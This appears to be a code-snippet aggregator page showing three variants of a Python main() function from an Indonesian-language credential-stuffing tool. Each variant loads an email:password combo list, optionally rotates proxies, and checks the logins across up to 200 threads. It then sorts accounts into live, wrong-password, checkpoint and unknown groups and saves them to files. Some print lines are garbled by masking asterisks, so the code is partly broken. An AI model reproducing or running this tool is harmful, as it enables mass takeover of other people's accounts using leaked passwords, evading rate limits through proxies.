Exemplo n.º 1
0
 def main(self):
   print(
     '\033[1;97m'
   )
   empas = input(
     '\033[1;97m[\033[1;91m?\033[1;97m] List empas (ex: list.txt): \033[1;96m'
   )
   if os.path.exists(
     empas
   ):
     for data in open(
       empas,
       'r',
       encoding='utf-8'
     ).readlines():
       try:
         user = data.strip(
         ).split(
           '|'
         )
         if user[
          0
         ] and user[
           1
         ]:
           em = user[
             0
           ]
           pw = self.auto_upper(
             user[
               1
             ]
           )
           self.userdata.append({
             'email': em,
             'pw': pw,
             'userdata': '|'.join(
               [
                 em,
                 pw
               ]
             )
           })
       except IndexError:
         try:
           user = data.strip().split(
             ':'
           )
           if user[
             0
           ] and user[
             1
           ]:
             em = user[
               0
             ]
             pw = self.auto_upper(
               user[
                 1
               ]
             )
             self.userdata.append({
               'email': em,
               'pw': pw,
               'userdata': ':'.join(
                 [
                   em,
                   pw
                 ]
               )
            })
         except: pass
     if len(
       self.userdata
     ) == 0:
       exit(
         '\033[1;97m[\033[1;91m!\033[1;97m] Empas tidak ada atau tidak valid pastikan berformat email:pass atau email|pass'
       )
     print(
       '\033[1;97m[\033[1;92m+\033[1;97m] Total \033[1;92m{0} \033[1;97maccount'.format(
         str(
           len(
             self.userdata
           )
         )
       )
     )
     ask = input(
       '\033[1;97m[\033[1;93m•\033[1;97m]Mau Pake Proxy?(Y/t): '
     )
     if ask.lower(
     ).strip(
     ) == 'y':
       self.valid_proxy = proxy.prox(
       )
       with ThreadPoolExecutor(
         max_workers=50
       ) as thread:
         [
           thread.submit(
             self.validate,
             user,
             True
           ) for user in self.userdata
         ]
     else:
       print(
         ''
       )
       with ThreadPoolExecutor(
         max_workers=10
       ) as thread:
         [
           thread.submit(
             self.validate,
             user,
             False
           ) for user in self.userdata
         ]
     print(
       '\n\n\033[1;97m[\033[1;92m#\033[1;97m] LIVE: '+str(
         len(
           self.live
         )
       )+' - saved: live.txt'
     )
     if len(
       self.live
     ) != 0:
       print(
         '\n'.join(
           self.live
         )+'\n'
       )
     print(
       '\033[1;97m[\033[1;91m#\033[1;97m] WRONG PASS: '******' - saved: wrongPwd.txt'
     )
     print(
       '\033[1;97m[\033[1;91m#\033[1;97m] WRONG EMAIL: '+str(
         len(
           self.wrong_email
         )
       )+' - saved: wrongEmail.txt'
     )
     print(
       '\033[1;97m[\033[1;91m#\033[1;97m] CheckPoint: '+str(
         len(
           self.limit_login
         )
       )+' - saved: limitLogin.txt'
     )
     print(
       '\033[1;97m[\033[1;91m#\033[1;97m] Tidak Valid: '+str(
         len(
           self.unknown
         )
       )+' - saved: unknown.txt'
     )
     exit(
     )
   else: print(
     '\033[1;97m[\033[1;91m!\033[1;97m] File tidak ditemukan "{0}"'.format(
       empas
     )
   )
Exemplo n.º 2
0
 def main(self):
     print('[!] Pemisah email:password TOLOL\n')
     empas = input('[?] Isi empasnya (ex: list.txt): ')
     if os.path.exists(empas):
         for data in open(empas, 'r', encoding='utf-8').readlines():
             try:
                 user = data.strip().split('|')
                 if user[0] and user[1]:
                     em = user[0]
                     pw = self.auto_upper(user[1])
                     self.userdata.append({
                         'email': em,
                         'pw': pw,
                         'userdata': '|'.join([em, pw])
                     })
             except IndexError:
                 try:
                     user = data.strip().split(':')
                     if user[0] and user[1]:
                         em = user[0]
                         pw = self.auto_upper(user[1])
                         self.userdata.append({
                             'email': em,
                             'pw': pw,
                             'userdata': ':'.join([em, pw])
                         })
                 except:
                     pass
         if len(self.userdata) == 0:
             exit(
                 '[!] Empas tidak ada atau tidak valid pastikan berformat email:pass atau email|pass'
             )
         print('[*] Total {0} akun'.format(str(len(self.userdata))))
         ask = input('[?] Apakah ingin menggunakan proxy? [Y/t]: ')
         if ask.lower().strip() == 'y':
             self.valid_proxy = proxy.prox()
             with ThreadPoolExecutor(max_workers=50) as thread:
                 [
                     thread.submit(self.validate, user, True)
                     for user in self.userdata
                 ]
         else:
             print('')
             with ThreadPoolExecutor(max_workers=10) as thread:
                 [
                     thread.submit(self.validate, user, False)
                     for user in self.userdata
                 ]
         print('\n\n[#] LIVE: ' + str(len(self.live)) +
               ' - saved: live.txt')
         if len(self.live) != 0:
             print('\n'.join(self.live) + '\n')
         print('[#] WRONG PASS: '******' - saved: wrongPwd.txt')
         print('[#] WRONG EMAIL: ' + str(len(self.wrong_email)) +
               ' - saved: wrongEmail.txt')
         print('[#] LIMIT LOGIN: '******' - saved: limitLogin.txt')
         print('[#] UNKNOWN: ' + str(len(self.unknown)) +
               ' - saved: unknown.txt')
         exit()
     else:
         print('[!] File tidak ditemukan "{0}"'.format(empas))
Exemplo n.º 3
0
 def main(self):
     print('''\033[92m-LIVE (0)\n'''
           '''\033[91m-Salah Password (0)\n'''
           '''\033[1;34m-Limit login (0)\n'''
           '''\033[1;35m-Wrong email (0)\n'''
           '''\033[1;30m-Unknown (0)\n'''
           '''\033[0;32m[!] Pemisah empas harus (:)/(|) yaa\n''')
     empas = input('''\033[1;31m[?] Folder empas (ex: empas.txt): ''')
     if os.path.exists(empas):
         for data in open(empas, 'r', encoding='utf-8').readlines():
             try:
                 user = data.strip().split('|')
                 if user[0] and user[1]:
                     em = user[0]
                     pw = self.auto_upper(user[1])
                     self.userdata.append({
                         'email': em,
                         'pw': pw,
                         'userdata': '|'.join([em, pw])
                     })
             except IndexError:
                 try:
                     user = data.strip().split(':')
                     if user[0] and user[1]:
                         em = user[0]
                         pw = self.auto_upper(user[1])
                         self.userdata.append({
                             'email': em,
                             'pw': pw,
                             'userdata': ':'.join([em, pw])
                         })
                 except:
                     pass
         if len(self.userdata) == 0:
             exit(
                 '[!] Empas tidak ada atau tidak valid pastikan berformat email:pass atau email|pass'
             )
         print('\033[0;32m[*] Total {0} akun'.format(str(len(
             self.userdata))))
         ask = input(
             '[?] Ingin menggunakan proxy?(\033[92mSaran\033[0m) [Y/t]: ')
         if ask.lower().strip() == 'y':
             self.valid_proxy = proxy.prox()
             with ThreadPoolExecutor(max_workers=200) as thread:
                 [
                     thread.submit(self.validate, user, True)
                     for user in self.userdata
                 ]
         else:
             print('')
             with ThreadPoolExecutor(max_workers=10) as thread:
                 [
                     thread.submit(self.validate, user, False)
                     for user in self.userdata
                 ]
         print('\033[1;30m\n\n[#] LIVE: ' + str(len(self.live)) +
               ' - saved: live.txt')
         if len(self.live) != 0:
             print('\033[0;31m\n'.join(self.live) + '\n')
         print('\033[91m[#] WRONG PASS: '******' - saved: wrongPwd.txt')
         print('\033[1;35m[#] WRONG EMAIL: ' + str(len(self.wrong_email)) +
               ' - saved: wrongEmail.txt')
         print('\033[1;34m[#] LIMIT LOGIN: '******' - saved: limitbos.txt')
         print('\033[1;30m[#] UNKNOWN: ' + str(len(self.unknown)) +
               ' - saved: unknown.txt')
         exit()
     else:
         print('[!] File tidak ditemukan "{0}"'.format(empas))